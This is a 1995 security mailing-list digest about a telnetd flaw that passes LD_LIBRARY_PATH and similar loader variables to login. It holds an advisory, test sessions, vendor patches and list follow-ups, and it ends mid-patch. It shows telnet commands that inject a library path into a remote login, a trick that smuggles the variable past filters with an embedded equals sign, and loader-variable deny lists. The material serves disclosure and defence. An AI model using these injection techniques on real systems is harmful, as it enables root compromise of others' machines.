charset=us-ascii The following describes a bug in telnetd You may have heard of it already. Chad Giffin TNET Systems CANADA - ---------------------------------19471490271877007441146457342 Content-Transfer-Encoding: 7bit Content-Type: text/plain >From [email protected] Nov 2 01:50:27 1995 Date: Tue, 31 Oct 1995 18:57:39 -0500 From: Sam Hartman To: Multiple recipients of list BUGTRAQ Subject: Telnet vulnerability: shared libraries - -----BEGIN PGP SIGNED MESSAGE----- Last Minute Update The rest of this memo assumes that CERT released an advisory today and that SGI and DEC made patches available to customers. I know that both DEC and SGI are working on this vulnerability, and have seen one preliminary patch from DEC. Apparently, something happened, and the advisory wasn't released today. I was not contacted by CERT and only confirmed that nothing had gone out after people left the CERT office, so I'm not sure exactly what happened. I have decided to release this information anyway, because it has already been widely distributed earlier today within MIT, and I know of at least one vendor who is actively contacting customers. I suggest reading the rest of this memo, then coming back to the next paragraph. The quick fix will work for DEC OSF, but not for SGIs. The CERT advisory contained a different quick fix, but I do not have permission to release that, and don't feel it would be appropriate to release without explicit permission from CERT. Basically, the CERT approach was to make a statically linked login wrapper and have telnetd call that wrapper and trim the environment. I have examples of such a program we've used within MIT that I can probably release, although we haven't debugged it. Another option is to make telnetd set-uid root, but only executable by a new group created especially for this purpose. Then, create a user with the primary group that you just made, and have telnetd run as this user by inetd. This will mean that the real UID is not root, but the effective UID is root, so the _RLD_* will be ignored. I'm not sure about the other security implications of this; I stopped thinking about SGI contingencies when I heard a patch would be released today. I suspect that the problem will be hashed out on [email protected] ([email protected] for subscriptions) fairly quickly. Also, I hope that SGI will release their patch in the next day or two. This memo contains a description of a vulnerability cause by an interaction between telnetd and shared library loaders on several versions of Unix. CERT should be issuing an advisory regarding this problem on October 31. While I have tried to keep an up to date list of available vendor patches in this memo, it is likely that the CERT advisory will contain more up-to-date vendor info. In particular, I don't have an exact URL to the FreeBSD, SGI or Digital Unix patch.This memo is intended to document the problem in MIT Kerberos and to provide additional detail that is likely not in the CERT advisory. Contents * Preface and History * Quick Fix * Environment Variables that Matter * Affected Telnetds * Telnetds that Work * Availability of Patches * Testing for Exposure * Verifying a Patch * Sample Patch * Acknowledgments Preface and History On Sunday, October 15, I discovered a bug in some versions of telnetd on some platforms that allows a user making a connection to cause login to load an alternate C library from an arbitrary location in the filesystem of the machine running telnetd. In the case of machines mounting distributed filespaces such as AFS or NFS, containing publicly writable anonymous FTP directories, or on which the user already has a non-root account, it is possible to gain root access. The problem is that telnetd will allow the client to pass LD_LIBRARY_PATH, LD_PRELOAD, and other run-time linker options into the process environment of the process that runs login. If the runtime linker honors these options for login, the attacker can cause a custom libc to be loaded. Such a libc could, for example, start a shell whenever some function like crypt() is called. If login calls this function before the setuid call, then the attacker will gain root access. Note that the user must be able to convince telnetd to run login in order for this attack to be successful. In particular, if an authentication system such as Kerberos is employed, and the telnetd requires authentication, then only users with valid accounts will be able to use this attack. Quick Fix Normally, programs that run with the set-user-ID or set-group-ID bit set do not use environment variables to pass information about where to find libraries. This is designed to prevent attacks where an intruder sets LD_LIBRARY_PATH and runs `su' or `login' from the command line. Since these are set-user-ID programs, they run as root; if they trust LD_LIBRARY_PATH, then they can load a user-supplied libc and be as insecure as telnetd. The test used by most runtime linkers to determine if LD_LIBRARY_PATH can be trusted checks to see if the effective user ID is equal to the real user ID. Since telnet is started as a root-owned process by inetd, its real user ID is root. So, even if login is set-user-ID, the test succeeds and LD_LIBRARY_PATH is trusted, creating the security problem. On many systems, if login is made set-group-ID, the test will fail because login's effective group will be different than the real group. This should only be used on a temporary basis. Unfortunately, this doesn't always work: in particular, it doesn't work for SGI Irix. (SGI has already released a patch, but other systems may exist where this also fails.) If you try this fix, you should go through the "Testing for Exposure" section. To make login set-group-ID follow these steps: 1) Create a new group (you might want to call it `__login', `__telnet', `tnbug' or something of the sort). In the rest of this document, I will assume that you have called the group `__login'. Make sure the group doesn't already exist, and make sure that no other programs are moved into this group. For information on how to create a group, consult your vendor's manuals and the man page for /etc/group. 2) Find your login program; it is often /usr/bin/login or /bin/login. I will assume here that it is /bin/login. Under AIX and some other operating systems, login may be a symlink to another program;change the group of the actual program, not of the symlink. 3) Look at the current permissions on login: bash$ ls -l /bin/login lrwxrwxrwx 1 root system 13 Mar 8 1994 /bin/login -> /usr/sbin/tsm bash$ ls -lL /bin/login -r-sr-xr-x 3 root security 59217 Aug 23 1994 /bin/login bash$ Note that because I am running on an AIX system, I gave the -L option to the second ls in order to trace through the symlink and find the real login. You should remember what group login is in so you can change things back after you get a vendor patch. 4) Change the group of login and set the set GID bit: bash$ su root's Password: bash# chgrp __login /bin/login bash# chmod g+s /bin/login bash# ls -lL /bin/login -r-sr-sr-x 3 root __login 59217 Aug 23 1994 /bin/login bash# Environment Variables that Matter This is not an exhaustive list of environment variables telnetd should filter, but it does contain several of the key variables on systems used at MIT and by people with whom I have consulted: LD_LIBRARY_PATH: At least Solaris, SunOS, NetBSD, Linux and Digital Unix use this as the path to look for shared libraries in. LD_PRELOAD: Solaris and possibly others load these object modules into the address space of the process before loading other shared libraries. LIBPATH: AIX uses this to locate its shared libraries. ELF_LD_LIBRARY_PATH: May be used by the Linux Elf loader; similar to LD_LIBRARY_PATH in function. According to the author of Linux ld.so ([email protected]), this was only used by ld.so version 2.6. This version was only used for beta Elf development, and is apparently not used by any production Linux distributions. LD_AOUT_LIBRARY_PATH: Another Linuxism from ld.so-1.7.3. Same as LD_LIBRARY_PATH but only for a.out libraries. _RLD_ROOT: Digital Unix uses this to specify a prefix prepended to library paths stored inside executables. _RLD_LIST: A list of objects dynamically loaded into an executable by Digital Unix. _RLD_*: Used by Digital Unix and SGI. There are several apparently undocumented variables in /sbin/loader on Digital Unix and in the SGI runtime linker. LD_*: Several other variables have special meaning to certain operating systems. Stripping all these variables would probably be a good idea. IFS: It is possible that setting IFS could cause damage in environments where the user logs into an account that runs a shell script instead of granting full access. Affected Telnetds All telnetds derived from the Telnet package distributed by David Borman allow the environment options to be passed. Borman has released a patch for the problem as of October 19. The patch released on October 19, while secure, has a bug that prevents any telnet environment options from being handled. Another patch was released on October 23 that appears to work; see below for details. Besides his original release, here are a list of operating systems and security packages I'm aware of that include derivatives of this work: * NetBSD and FreeBSD are distributed with a vulnerable telnetd. (See below for patch info.) * The version of telnetd maintained in the Kerberos version 5 distribution by MIT. (patch available) * The Cygnus Network Security V4 95Q1 Free Network Release includes a vulnerable telnetd. (Previous releases did not contain telnetd.) A patch has been released. * OpenVision's OV*Secure contains a telnetd that is vulnerable; a patch is available. Other Vulnerable Telnetd Implementations This problem is not unique to code derived from the Borman telnet distribution. Other vulnerable implementations are known to include: * SGI Irix 5.3 (patch available) * Digital Unix. The telnetd distributed with stock Digital Unix appears to be vulnerable. DEC confirms they are investigating. * Linux. The telnetd distributed with Slackware Linux appears to be vulnerable, although I have not verified this. The maintainers of Debian GNU/Linux confirm their telnetd is vulnerable and released a patch; see below. A patch is also available for Redhat Linux. Telnetds that Work Below is a list of operating systems which come with telnetds that we know are not vulnerable. * SunOS 4.1.4. The Sunos 4.1.4 telnetd does not support passing of environment variables, so it is not vulnerable. * IBM AIX 4.1. This telnetd does not support environment options. * BSDI's BSD/OS. While the telnetd will pass any environment option, there doesn't appear to be an option to override the shared library path, so BSD/OS is probably not vulnerable. On October 19, Dave Borman confirmed that BSDI is not vulnerable to the attack, although the telnetd will accept any environment variable. * Telnetd on other systems that do not support shared libraries. This includes DEC Ultrix, and Cray Unicos. * According to LaMont Jones , "HP-UX is not vulnerable to this attack, due to our shared library implementation." Note that both AIX and SunOS can be vulnerable if the stock telnetd is replaced. Also, note that the stock Solaris telnetd has not been tested. Availability of Patches This is a list of patches I'm aware of at this time. As you develop a patch for your product/platform, please let me know; considering free operating systems affected by this problem, widely announcing the bug once patches are available is very important. Note that these patches are provided as-is, without any guarantee of correctness or security on the part of MIT, myself, or the patch creator. They are provided in a spirit of cooperation, not as a guaranteed fix. I cannot certify the degree of testing applied to these patches. Note that CERT and CIAC plan to announce bulletins about this problem on October 31, 1995. Where this memo conflicts with the information provided in the CERT advisory, assume CERT's information is more accurate: they have better vendor contacts, and have been actively confirming patch availability for the last few days. I am including this section in order to provide users with patch locations, where possible, in the same place where they first encounter details about this problem.I am maintaining it with information I receive, but not all vendors have replied to my earlier memo, so if your favorite vendor isn't listed here, check the CERT advisory before contacting them. * On October 19, David Borman released a new version of his telnet package, containing a fix to the problem. This original patch disabled passing environment options entirely, but was revised on October 23. The revised patch, and instructions for obtaining it are contained at the bottom of this message. Note that this patch does not deal with the ELF_LD_LIBRARY_PATH, although for most Linux users, this is not a problem. The version of telnet on net-dist.mit.edu contains this patch. * Greg Hudson checked a patch into the NetBSD-current source tree. This patch will be incorporated by any NetBSD-current users who update to the current telnetd. It will be in the NetBSD 1.1 release. NetBSD developers have not indicated whether they plan on releasing a patch for NetBSD 1.0 users. Note that the sample NetBSD patch distributed with an earlier version of the memo was incomplete; the version in the source tree as of October 18 is correct. * Sam Hartman patched the upcoming release of Kerberos 5. In addition, patches were generated against Kerberos 5 beta 5 and beta 4-3. The can be found at ftp://athena-dist.mit.edu/pub/kerberos/telnet-patch/. * Mark Eichin prepared patches for CNS. These patches will be available on the Cygnus web site http://www.cygnus.com/data/cns/telnetdpatch.html; support customers are being contacted directly. * OpenVision has a patch for the telnetd in OV*Secure 1.2 and will contact its customers directly. * Peter Tobias, released a patch for Debian GNU/Linux. This patch can be found in the networking utilities at ftp://ftp.debian.org/debian/debian-0.93/binary/net/netstd-1.21-1.deb. * Erik Troan confirms that Redhat Linux is vulnerable, indicating a patch can be found at ftp://ftp.redhat.com/pub/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm or ftp://ftp.pht.com/pub/linux/redhat/redhat-2.0/updates/NetKit-B-0.06-4.i386.rpm The fix is incorporated into the Redhat 2.1 release. * An SGI patch is available at ftp://sgigate.sgi.com/security/. * DEC confirmed they will have a preliminary patch available on October 31; they will be contacting customers and releasing patch info to CERT. * Andrey A. Chernov released a patch for FreeBSD, but did not include an URL where the patch could be obtained. * Bruce Lewis is preparing a patch for the MIT-distributed Athena telnet/telnet95. His patch is currently available within MIT. Within MIT, consult the netusers discuss meeting for more details. Testing for Exposure In order to test to see if your telnetd passes environment variables that effect shared libraries, it is important to understand what environment variables are used by your runtime linker. See the environment variables section for common examples. To be sure, you should run strings over your runtime loader. For example, the following shows the environment variables used by NetBSD: athena% strings - /usr/libexec/ld.so ld.so LD_LIBRARY_PATH LD_PRELOAD LD_NOSTD_PATH LD_SUPPRESS_WARNINGS LD_WARN_NON_PURE_CODE LD_NO_INTERN_SEARCH .init Cannot set breakpoint (%s) Cannot re-protect breakpoint (%s) LD_TRACE_LOADED_OBJECTS Naturally, this is only an excerpt of the output. Therefore, NetBSD probably honors the `LD_LIBRARY_PATH' variable. It appears to honor several other variables as well. (In fact, it honors most of the environment variables besides LD_PRELOAD, which hasn't been implemented yet.) If a system were non-standard, it might not be easy to know what was an environment variable and what was just a string in the binary. For example, the string `runpath' in the Solaris loader is not an environment variable, but a similar string `LIBPATH' in the AIX kernel is the AIX environment variable. You also have to find the dynamic loader, which isn't always easy. Look for a program called `rld', `ld.so', `loader', or some similar name. You should also check your vendor's documentation, but reading the documentation should not be a substitute for reading the binaries, for while binaries may deceive and obfuscate, they seldom lie. Now that you know what environment variables to check for, find out which telnetd your system runs. Note that the telnetd on my system is almost certainly not in the same place as yours: this session took place on a machine in the Athena environment, so it is running a custom MIT telnetd. However, the same techniques should work with `/etc/athena/telnetd' replaced with `/usr/sbin/in.telnetd' or whatever is appropriate for your system. athena% grep telnet /etc/inetd.conf telnet stream tcp nowait root /etc/athena/telnetd telnetd -a off athena% Now, check to see if it looks like it handles environment options at all (by grepping for `ENVIRON') and if it does anything special with linker environment variables. This test is *not* definitive: there are both false positives and negatives, but you can get a general idea of what to expect in later steps. athena% strings - /etc/athena/telnetd |grep ENVIRO ENVIRON VALUE and VAR are reversed! OLD-ENVIRON NEW-ENVIRON NEW-ENVIRON athena% strings - /etc/athena/telnetd |grep LD_ athena% Ok, it looks very much like I have a problem. My telnetd appears to support environment options--it even has an error message about it, but I see no mention of environment variables that should be restricted. Note that even if I saw no environment info in telnetd, I would continue with the test just to make sure. For the next step, telnet to the machine and see if it passes environment options such as LD_LIBRARY_PATH. Try to create a corrupt libc.so in /tmp by creating a zero length file of the same name; if the system is vulnerable, login will core dump when it tries to use the new libc. If this test fails, try a test using `ps -e' to see if the environment variable got set. In order to find out what library to create, I'll use the `ldd' command on the executable; you could also try looking through /lib, or under AIX, use `dump -H executable'. athena% ldd /etc/athena/telnetd /etc/athena/telnetd: -lcurses.2 => /usr/lib/libcurses.so.2.1 (0x10032000) -ltermcap.0 => /usr/lib/libtermcap.so.0.0 (0x1003d000) -lutil.3 => /usr/lib/libutil.so.3.1 (0x1003f000) -lc.12 => /usr/lib/libc.so.12.3 (0x10041000) athena% touch /tmp/libc.so.12.3 Now, we try and connect: athena% telnet ...including Athena's default telnet options: "-ax" telnet> env define LD_LIBRARY_PATH /tmp:/var/tmp telnet> env export LD_LIBRARY_PATH telnet> set options Will show option processing. telnet> open vulnerable-machine Trying 10.0.0.6... Connected to telnet-bug-exploit.MIT.EDU. Escape character is '^]'. SENT WILL LFLOW SENT WILL LINEMODE SENT WILL NEW-ENVIRON RCVD WILL SUPPRESS GO AHEAD RCVD DONT LINEMODE RCVD DO NEW-ENVIRON SENT WONT XDISPLOC RCVD DO OLD-ENVIRON SENT WONT OLD-ENVIRON SENT IAC SB TERMINAL-SPEED IS 9600,9600 RCVD IAC SB NEW-ENVIRON SEND SENT IAC SB NEW-ENVIRON IS USERVAR "LD_LIBRARY_PATH" VALUE "/tmp:/var/tmp" MIT SIPB NetBSD-Athena (xxx) (ttyp1) ld.so: login: libc.so.12.3: Undefined error: 0 Connection closed by foreign host. athena% This machine is obviously vulnerable. Now, an example of what happens if for some strange reason, login actually works, but the machine is still potentially vulnerable: (telnet session as above, but a login prompt) telnet> open vulnerable-machine Trying 10.0.0.6... Connected to telnet-bug-exploit.MIT.EDU. Escape character is '^]'. MIT SIPB NetBSD-Athena (xxx) (ttyp1) login: Now, we suspend the telnet and look at the login process that was created: athena% ps -ewwa |grep login 6997 p1 Is+ 0:00.05 LD_LIBRARY_PATH=/tmp:/var/tmp TERM=vt100 login -h somew athena% This indicates that the variable was passed, but login failed to act--possibly because you did something wrong when creating the library; your system is probably still vulnerable. If that variable was not present, but the -e flag works on your ps, and other processes displayed environment variables, your system is likely not vulnerable. Also, if neither an old-environ nor new-environ option was passed between the telnetd and telnet, you are almost certainly safe. However, passing this test should not be taken as a guarantee of complete security: you should still contact your telnet vendor unless you are sure you are safe. Verifying a Patch In the process of talking to vendors, distributing patches, and getting feedback, I've come up with a lot of `almost solutions' -- patches that are good enough to make you think they work, but that can be compromised. * A clever trick to get around exact match patches is to embed an equals sign in a variable name. For example, ask your client to send an option requesting that the variable LD_LIBRARY_PATH=/home/hartmans/exploits/sun4lib: be set to the value invalid:/lib:/usr/lib. Naturally, the call to setenv in telnetd adds another =, but that's soaked up by `invalid', and I still get to break into the system. I.E. Deal with variable names containing equals signs (=). * At least in the Borman BSD telnet, there are two calls to setenv: one for the last part of an environment option and one for the other parts. Make sure you cover both; this was the biggest problem with the sample patch I first distributed. * If it is possible to stuff a string into the environment twice with your telnetd, make sure you check all entries in the environment. For example, if you have a setenv() that doesn't check for duplicates, don't just use unsetenv() as this will remove the last item in the environment, leaving the others to be used by login. * Get all the important environment variables. Follow the instructions for testing vulnerability, and check all the potential environment variables found when you strings the loader. Considering the potential to miss variables, several people have suggested only allowing certain variables through. Borman is investigating this and several other options; unfortunately, anything less than a solution tailored to a particular vendor's operating system decreases the functionality provided by the environment option. Sample Patch Below, I include the official patch to telnet from David Borman as of October 23. Before the patch, I include a message I received on October 19; this includes useful information. As I received the message, it was not PGP-signed; its inclusion in this signed summary indicates that it has not been modified since I received it, and says nothing about the integrity of the communications link between myself and Mr. Borman. However, I have examined the patch, and it appears to be a valid fix for the bug. It also corresponds to the appropriate sections of the diff on the ftp server. Again, patches are provided as-is without a guarantee of correctness; you assume all risk for applying this patch. (As with all PGP-signed patches, you will need to remove leading dashes.) Date: Thu, 19 Oct 95 13:54:56 CDT From: [email protected] (David A. Borman) Message-Id: <[email protected]> To: [email protected] Subject: Re: telnet vulnerability giving root access Cc: [email protected], [email protected] I have placed a version of the BSD Telnet distribution at: ftp://ftp.cray.com/src/telnet/telnet.95.10.23.NE.tar.Z with a fix for this problem. It changes telnetd to remove the LD_*, _RLD_*, IFS and LIBPATH environment variables before execing login. The version on ftp.cray.com does not contain the encryption code, that is on net-dist.mit.edu, and I have sent a new copy off to them to replace the current distribution. (The attached diffs also show a bugfix for a problem that was screwing up /etc/utmp on Solaris.) Also, BSDI is not affected, as they do not provide any way for the user to override the search path for shared libraries. UNICOS is unaffected, since we don't have shared libraries. Please feel free to pass on this message. -David Borman, [email protected] diff -cbr telnet.95.05.31/telnetd/sys_term.c telnet.95.10.23/telnetd/sys_term.c *** telnet.95.05.31/telnetd/sys_term.c Wed May 31 00:50:57 1995 - - --- telnet.95.10.23/telnetd/sys_term.c Mon Oct 23 09:47:17 1995 *************** *** 32,38 **** */ #ifndef lint ! static char sccsid[] = "@(#)sys_term.c 8.4 (Berkeley) 5/30/95"; #endif /* not lint */ #include "telnetd.h" - - --- 32,38 ---- */ #ifndef lint ! static char sccsid[] = "@(#)sys_term.c 8.4+1 (Berkeley) 5/30/95"; #endif /* not lint */ #include "telnetd.h" *************** *** 1570,1579 **** utmpx.ut_id[3] = SC_WILDC; utmpx.ut_type = LOGIN_PROCESS; (void) time(&utmpx.ut_tv.tv_sec); ! if (pututxline(&utmpx) == NULL) ! fatal(net, "pututxline failed"); #endif /* * -h : pass on name of host. * WARNING: -h is accepted by login if and only if - - --- 1570,1581 ---- utmpx.ut_id[3] = SC_WILDC; utmpx.ut_type = LOGIN_PROCESS; (void) time(&utmpx.ut_tv.tv_sec); ! if (makeutx(&utmpx) == NULL) ! fatal(net, "makeutx failed"); #endif + scrub_env(); + /* * -h : pass on name of host. * WARNING: -h is accepted by login if and only if *************** *** 1809,1814 **** - - --- 1811,1836 ---- return(argv); } #endif /* NEWINIT */ + + /* + * scrub_env() + * + * Remove a few things from the environment that + * don't need to be there. + */ + scrub_env() + { + register char **cpp, **cpp2; + + for (cpp2 = cpp = environ; *cpp; cpp++) { + if (strncmp(*cpp, "LD_", 3) && + strncmp(*cpp, "_RLD_", 5) && + strncmp(*cpp, "LIBPATH=", 8) && + strncmp(*cpp, "IFS=", 4)) + *cpp2++ = *cpp; + } + *cpp2 = 0; + } /* * cleanup() Acknowledgments In preparing this bug summary, I have received the help of several people. In particular, I would like to thank David Borman for quickly fixing the problem once notified, and Bruce Lewis for supplying a timely solution to the problem within MIT. In addition, John Hawkinson provided help developing exploit scripts and confirming that the bug existed on several systems. In addition, I would like to thank vendor security contacts for being responsive and working quickly to get patches ready as soon as possible. I would also like to thank those at MIT who reviewed drafts of this announcement and suggested improvements. - - --Sam Hartman, MIT Kerberos Development team - -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQEVAwUBMJa3e0JYVPVo3rXRAQGq7Qf9HJQoShE58Cwr2bd0fAlJDhGycyH8QD5Z 8eb+VacvAMPaHUBDJ0qziTkRVX3cQcWvCq2pYOU3oY4pu7LFoo1mDf/+L0IEHxW+ CnKYxseJaH1qW9CEovopACS+6AonbjmlW11p6xmIskONZNpE4IcQNctvLLR7qt7D GkbElAfFyJI5P41ssvySVr8JgWbepjFsdT+fvbT89rUDCb9ASaPIzeBW+lA40I5k MKRYq9droETIWO3vT7IzxplB4rlEdymtU3ibfr8wxsTOthMAQ0hQ2jgKoLCPIg1/ X2lX9hPHCW14t+t8/4MeO4+69FtLOt6+oISa3vRi5t6aFNpAtCdgCA== =rDwP - -----END PGP SIGNATURE----- - ---------------------------------19471490271877007441146457342-- ------------------------------ End of linux-security-digest V1 #43 *********************************** linux-security-digest/1995/v01.n044100664 1767 1767 44131 6047467407 16067 0ustar majdommajdomFrom: owner-linux-security-digest To: [email protected] Subject: linux-security-digest V1 #44 Reply-To: linux-security Errors-To: owner-linux-security-digest Precedence: bulk linux-security-digest Monday, 6 November 1995 Volume 01 : Number 044 Telnet vulnerability: shared libraries (fwd) Re: telnetd shared lib hole Re: telnetd shared lib hole Re: telnetd shared lib hole Re: telnetd shared lib hole Re: Telnetd Environment Vulnerability (fwd) SSLtelnet patch Re: SSLtelnet patch ld.so gaping hole. linux a.out ld.so problem (fwd) Telnetd Security Hole ---------------------------------------------------------------------- From: matt sommer Date: Fri, 3 Nov 1995 12:37:43 -0800 (PST) Subject: Telnet vulnerability: shared libraries (fwd) hey folks, i am surprised that no one has cross posted this yet, so here it is... in both the included posting from BUGTRAQ and the corresponding CERT advisory (CA-95:14) they do not state explicitly that Slackware based Linux is vulnerable but as you can see those of us using telnetd from NetKit-B-0.05 definately are... - -------- Script started on Wed Nov 1 23:13:13 1995 [23:13:13]:~$ telnet telnet> env define LD_LIBRARY_PATH /tmp telnet> env export LD_LIBRARY_PATH telnet> set options Will show option processing. telnet> o xxx.xxx.xxx Trying xxx.xxx.xxx... Connected to xxx.xxx.xxx Escape character is '^]'. SENT DO SUPPRESS GO AHEAD SENT WILL TERMINAL TYPE SENT WILL NAWS SENT WILL TSPEED SENT WILL LFLOW SENT WILL LINEMODE SENT WILL ENVIRON <<<<<<<<<<<<< SENT DO STATUS SENT WILL XDISPLOC RCVD DO AUTHENTICATION SENT WONT AUTHENTICATION RCVD WILL SUPPRESS GO AHEAD RCVD DO TERMINAL TYPE RCVD DO NAWS SENT IAC SB NAWS 0 80 (80) 0 25 (25) RCVD DO TSPEED RCVD DO LFLOW RCVD DONT LINEMODE RCVD DO ENVIRON <<<<<<<<<<<<< RCVD WILL STATUS RCVD DO XDISPLOC RCVD IAC SB TERMINAL-SPEED SEND SENT IAC SB TERMINAL-SPEED IS 38400,38400 RCVD IAC SB X-DISPLAY-LOCATION SEND SENT IAC SB X-DISPLAY-LOCATION IS "xxx:0.0" RCVD IAC SB ENVIRON SEND SENT IAC SB ENVIRON IS VAR "LD_LIBRARY_PATH" VALUE "/tmp" VAR "DISPLAY" VALUE "xxx:0.0" RCVD IAC SB TERMINAL-TYPE SEND SENT IAC SB TERMINAL-TYPE IS "XTERM" RCVD DO ECHO SENT WONT ECHO RCVD WILL ECHO SENT DO ECHO Linux 1.2.8 (xxx.xxx.xxx) Unauthorized access is a criminal offense. If you are not an authorized user, disconnect NOW. login: can't load library '/tmp/libc.so.4' Permission denied login: Connection closed by foreign host. [23:14:34]:~$ exit Script done on Wed Nov 1 23:14:40 1995 - ------------- i believe that it might be possible to use the CERT wrapper ( see CA-95:14 ) in login.c from the new shadow suite ( shadow-3.3.2 ) to get login to "ignore" certain environment strings passed to it but i havent had much time to play with it... cu, m. - ----- just keeping the trains running... [Mod: Repeat posting of Sam Hartman's bugtraq posting deleted. --Jeff] ------------------------------ From: Jon Lewis Date: Sun, 5 Nov 1995 16:46:21 -0500 (EST) Subject: Re: telnetd shared lib hole On Sun, 5 Nov 1995, Erik Nygren wrote: > > Call me silly, but since this hole operates by "secretly replacing your > > real libc with Foldgers Crystals libc" and having telnetd use the bogus > > libc, would all this be fixed with no need for careful patching / > > environment cleaning if we simply compiled telnetd and statically linked > > The problem is NOT that telnetd is dynamically linked. The problem So I was silly....Shortly after my post, I compiled telnetd and found that staticly linking it changed nothing. Login still was given the bogus LD_LIBRARY_PATH and could still be made to do nasty things with a hacked libc. It's been mentioned that static login will delay use of the hacked libc until after login, where it can do relatively little harm. As the original post said, a patched telnetd source can be gotten from sites carrying the debian distribution. I've finally compiled a hacked libc that takes advantage of this...so now I can say that in.telnetd that comes with many versions of slackware (up to 2.3 at least) is definitely vulnerable. The latest debian source for telnetd is not. - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ ------------------------------ From: Erik Nygren Date: Sun, 05 Nov 1995 16:33:47 -0500 Subject: Re: telnetd shared lib hole > Call me silly, but since this hole operates by "secretly replacing your > real libc with Foldgers Crystals libc" and having telnetd use the bogus > libc, would all this be fixed with no need for careful patching / > environment cleaning if we simply compiled telnetd and statically linked > it? Then it would need no shared libs, and you'd be unable to force it to > load a hacked libc...no? The problem is NOT that telnetd is dynamically linked. The problem is that telnetd sets the environmental variables before it calls login. In theory, statically linking login might fix the problem but I haven't tested this. A much safer solution is to patch telnetd not to set dangerous environmental variables. Erik [Mod: This is the tack that people are taking; it's being/been done. - --Jeff] ------------------------------ From: Jon Lewis Date: Mon, 6 Nov 1995 02:11:33 -0500 (EST) Subject: Re: telnetd shared lib hole On Mon, 6 Nov 1995, Aleph One wrote: > You need to compile login staticly, not telnetd. > > > Well...I was silly. Compiling a static in.telnetd solves nothing. > > > > I don't quite understand why static telnetd and login binaries still > > appeared to exhibit the hole. I think its starting to make sense now. I assume in.telnetd must already be running when the environment stuff gets passed to it...no? So specifying a hacked libc won't affect telnetd since it's already running, right?...and it then passes the bad env vars to login. > > [Mod: A static in.telnetd won't really fix this; the environment is > > passed on to /bin/login which also needs to be static. I can't figure > > out why compiling both programs statically would not fix I think it was mentioned in bugtraq that static login does fix it, since it gives more or less the same effect as telnetting in normally and then saying LD_LIBRARY_PATH=/foo at the shell prompt. I think the trouble is some people/os's can't do that. I wrote a hack to crypt that will exploit the hole on both shadowed and non-shadowed systems...but I'm not posting it...mostly because I used system() to insert a shell script in crypt (ugly!)...and also because I'm not sure if it's appropriate to post such a thing. - ------------------------------------------------------------------ Jon Lewis | Mime attachments are OK [email protected] | But please ask before sending http://inorganic5.chem.ufl.edu | unsolicited huge files. | _____Finger [email protected] for PGP public key_____ ------------------------------ From: Jeff Uphoff Date: Mon, 6 Nov 1995 13:48:25 -0500 Subject: Re: telnetd shared lib hole "JL" == Jon Lewis writes: >> > [Mod: A static in.telnetd won't really fix this; the environment is >> > passed on to /bin/login which also needs to be static. JL> I think it was mentioned in bugtraq that static login does fix it, Yes. My use of the word "also" in my note was a poor choice of wording (it's superfluous); in.telnetd does not need to be static since it is not using the environment variables that are passed to it for its own library loading. I knew what I meant, I just didn't word things correctly--I apologize for any misunderstanding that may have caused. - --Up. - -- Jeff Uphoff - systems/network admin. | [email protected] National Radio Astronomy Observatory | [email protected] Charlottesville, VA, USA | http://linux.nrao.edu/~juphoff/ ------------------------------ From: Thomas Roessler Date: Mon, 6 Nov 1995 09:03:11 +0100 (MET) Subject: Re: Telnetd Environment Vulnerability * Cy Schubert - BCSC Open Systems Group wrote: > There is a serious problem with various telnetd daemons which will cause > /bin/login to give a root shell. I haven't had a chance to test this on my > Linux boxes at home, however it does fix the problem under DEC's OSF/1. You should mention that it's absolutely necessary to statically link this wrapper; otherwise it won't be effective. tlr ------------------------------ From: [email protected] (Thomas Quinot) Date: Mon, 6 Nov 95 18:03 MET Subject: (fwd) SSLtelnet patch Date: Wed, 1 Nov 1995 20:07:19 -0600 (CST) From: Aleph One X-Old-To: [email protected] Cc: [email protected] Subject: SSLtelnet patch Message-ID: Mime-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Precedence: list Sender: [email protected] Approved: [email protected] Newsgroups: linux.security Path: melchior.cuivre.fdn.fr!Mail-to-News Lines: 88 This patch address the current CERT advisory about the telnet vulnerability. It was created under linux using SSLtelnet 0.2. Iam not sure what the latest is but here it is anyway. You need to change LD_LIBRARY_PATH to whatever is dangerous in your OS. diff -u -r SSLtelnet-0.2/telnetd/Makefile SSLtelnet-0.2-new/telnetd/Makefile - --- SSLtelnet-0.2/telnetd/Makefile Tue Aug 15 16:53:25 1995 +++ SSLtelnet-0.2-new/telnetd/Makefile Wed Nov 1 16:01:32 1995 @@ -7,7 +7,7 @@ CFLAGS= -DTERMCAP -DKLUDGELINEMODE -DUSE_TERMIO -DAUTHENTICATE -DUSE_SSL \ -DDIAGNOSTICS -DFILIO_H \ -I../lib -I../lib/libbsd/include \ - - -I$(SSLTOP)/include + -I$(SSLTOP)/include -O2 -m486 LIBS= ../lib/libtelnet/libtelnet.a \ ../lib/libutil/libutil.a \ diff -u -r SSLtelnet-0.2/telnetd/state.c SSLtelnet-0.2-new/telnetd/state.c - --- SSLtelnet-0.2/telnetd/state.c Thu Oct 14 13:49:12 1993 +++ SSLtelnet-0.2-new/telnetd/state.c Wed Nov 1 16:56:41 1995 @@ -1257,9 +1257,27 @@ case ENV_VAR: *cp = '\0'; - - if (valp) + if (valp) { + if (!strcmp(varp, "LD_LIBRARY_PATH")) { + char *host; + struct hostent *hp; + struct sockaddr_in from; + int i, fromlen = sizeof(from); + + if (!getpeername(0, (struct sockaddr *)&from, &fromlen)) { + hp = gethostbyaddr((char *)&from.sin_addr, sizeof(struct in_addr), from.sin_family); + if (hp) + host = hp->h_name; + else + host = inet_ntoa(from.sin_addr); + syslog(LOG_ALERT, "Breakin attempt from %s: '%s=%s'", host, varp, valp); + } else { + syslog(LOG_ALERT, "Breakin attempt: '%s=%s'", varp, valp); + } + exit(1); + } (void)setenv(varp, valp, 1); - - else + } else unsetenv(varp); cp = varp = (char *)subpointer; valp = 0; @@ -1276,9 +1294,27 @@ } } *cp = '\0'; - - if (valp) + if (valp) { + if (!strcmp(varp, "LD_LIBRARY_PATH")) { + char *host; + struct hostent *hp; + struct sockaddr_in from; + int i, fromlen = sizeof(from); + + if (!getpeername(0, (struct sockaddr *)&from, &fromlen)) { + hp = gethostbyaddr((char *)&from.sin_addr, sizeof(struct in_addr), from.sin_family); + if (hp) + host = hp->h_name; + else + host = inet_ntoa(from.sin_addr); + syslog(LOG_ALERT, 